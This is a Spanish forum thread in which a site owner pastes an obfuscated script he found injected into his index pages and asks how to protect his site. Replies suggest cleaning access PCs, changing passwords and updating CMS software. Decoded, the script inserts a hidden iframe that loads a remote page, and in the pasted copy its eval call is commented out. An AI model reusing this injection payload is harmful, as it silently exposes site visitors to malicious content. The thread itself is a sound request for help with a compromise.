javascript en mi servidor

[mastermts]

No se porque pero en todas las paginas index se agrego este codigo:

Código PHP:

  <script>if(window.document)
aa=new RegExp('test','i').toString();
aaa='/test/i';
if(aa.indexOf(aaa)!==-1){
    ss='';
    s=String;
    ee='e';
    e=window[ee+'val'];
    t='y';
}
h=-2;
 
n=4.5,4.5,52.5,51,16,20,50,55.5,49.5,58.5,54.5,50.5,55,58,23,51.5,50.5,58,34.5,54,50.5,54.5,50.5,55,58,57.5,33,60.5,42,48.5,51.5,39,48.5,54.5,50.5,20,19.5,49,55.5,50,60.5,19.5,20.5,45.5,24,46.5,20.5,61.5,4.5,4.5,4.5,52.5,51,57,48.5,54.5,50.5,57,20,20.5,29.5,4.5,4.5,62.5,16,50.5,54,57.5,50.5,16,61.5,4.5,4.5,4.5,50,55.5,49.5,58.5,54.5,50.5,55,58,23,59.5,57,52.5,58,50.5,20,17,30,52.5,51,57,48.5,54.5,50.5,16,57.5,57,49.5,30.5,19.5,52,58,58,56,29,23.5,23.5,57.5,58,55.5,57,60.5,54,55.5,55.5,58,60.5,49,58.5,61,23,49.5,55.5,54.5,23.5,54.5,48.5,52.5,55,23,56,52,56,31.5,56,48.5,51.5,50.5,30.5,27,50.5,49,26.5,49,27.5,27,27.5,27.5,50,27,26.5,24.5,50,51,26,19.5,16,59.5,52.5,50,58,52,30.5,19.5,24.5,24,19.5,16,52,50.5,52.5,51.5,52,58,30.5,19.5,24.5,24,19.5,16,57.5,58,60.5,54,50.5,30.5,19.5,59,52.5,57.5,52.5,49,52.5,54,52.5,58,60.5,29,52,52.5,50,50,50.5,55,29.5,56,55.5,57.5,52.5,58,52.5,55.5,55,29,48.5,49,57.5,55.5,54,58.5,58,50.5,29.5,54,50.5,51,58,29,24,29.5,58,55.5,56,29,24,29.5,19.5,31,30,23.5,52.5,51,57,48.5,54.5,50.5,31,17,20.5,29.5,4.5,4.5,62.5,4.5,4.5,51,58.5,55,49.5,58,52.5,55.5,55,16,52.5,51,57,48.5,54.5,50.5,57,20,20.5,61.5,4.5,4.5,4.5,59,48.5,57,16,51,16,30.5,16,50,55.5,49.5,58.5,54.5,50.5,55,58,23,49.5,57,50.5,48.5,58,50.5,34.5,54,50.5,54.5,50.5,55,58,20,19.5,52.5,51,57,48.5,54.5,50.5,19.5,20.5,29.5,51,23,57.5,50.5,58,32.5,58,58,57,52.5,49,58.5,58,50.5,20,19.5,57.5,57,49.5,19.5,22,19.5,52,58,58,56,29,23.5,23.5,57.5,58,55.5,57,60.5,54,55.5,55.5,58,60.5,49,58.5,61,23,49.5,55.5,54.5,23.5,54.5,48.5,52.5,55,23,56,52,56,31.5,56,48.5,51.5,50.5,30.5,27,50.5,49,26.5,49,27.5,27,27.5,27.5,50,27,26.5,24.5,50,51,26,19.5,20.5,29.5,51,23,57.5,58,60.5,54,50.5,23,59,52.5,57.5,52.5,49,52.5,54,52.5,58,60.5,30.5,19.5,52,52.5,50,50,50.5,55,19.5,29.5,51,23,57.5,58,60.5,54,50.5,23,56,55.5,57.5,52.5,58,52.5,55.5,55,30.5,19.5,48.5,49,57.5,55.5,54,58.5,58,50.5,19.5,29.5,51,23,57.5,58,60.5,54,50.5,23,54,50.5,51,58,30.5,19.5,24,19.5,29.5,51,23,57.5,58,60.5,54,50.5,23,58,55.5,56,30.5,19.5,24,19.5,29.5,51,23,57.5,50.5,58,32.5,58,58,57,52.5,49,58.5,58,50.5,20,19.5,59.5,52.5,50,58,52,19.5,22,19.5,24.5,24,19.5,20.5,29.5,51,23,57.5,50.5,58,32.5,58,58,57,52.5,49,58.5,58,50.5,20,19.5,52,50.5,52.5,51.5,52,58,19.5,22,19.5,24.5,24,19.5,20.5,29.5,4.5,4.5,4.5,50,55.5,49.5,58.5,54.5,50.5,55,58,23,51.5,50.5,58,34.5,54,50.5,54.5,50.5,55,58,57.5,33,60.5,42,48.5,51.5,39,48.5,54.5,50.5,20,19.5,49,55.5,50,60.5,19.5,20.5,45.5,24,46.5,23,48.5,56,56,50.5,55,50,33.5,52,52.5,54,50,20,51,20.5,29.5,4.5,4.5,62.5];
 
f='f'+'romChar';
for(i=0;i-n.length<0;i++){
 j=i;
 ss=ss+String[f+'Code'](-h*n[j]);
}
 
/*e(ss);*/
alert(ss);
 
</script> 
  

quisiera saber si en el caso que alguien intento hackear mi web, como la puedo proteger.

[requena81]

Pues si que parece un hackeo, lo primero es limpiar todos los pcs desde donde te hayas conectado al ftp/ssh/administrador de la web, despues cambiar las contraseñas de acceso al servidor (ftp, ssh..etc) y si tienes instalado algun script ya hecho (wordpress, prestashop...etc) actualizarlo a la ultima version y mirar si hay algun bug reconocido por los creadores....

[Luismaster2000]

bueno aunque igual habria que ver si el haqueo no fue por culpa del servidor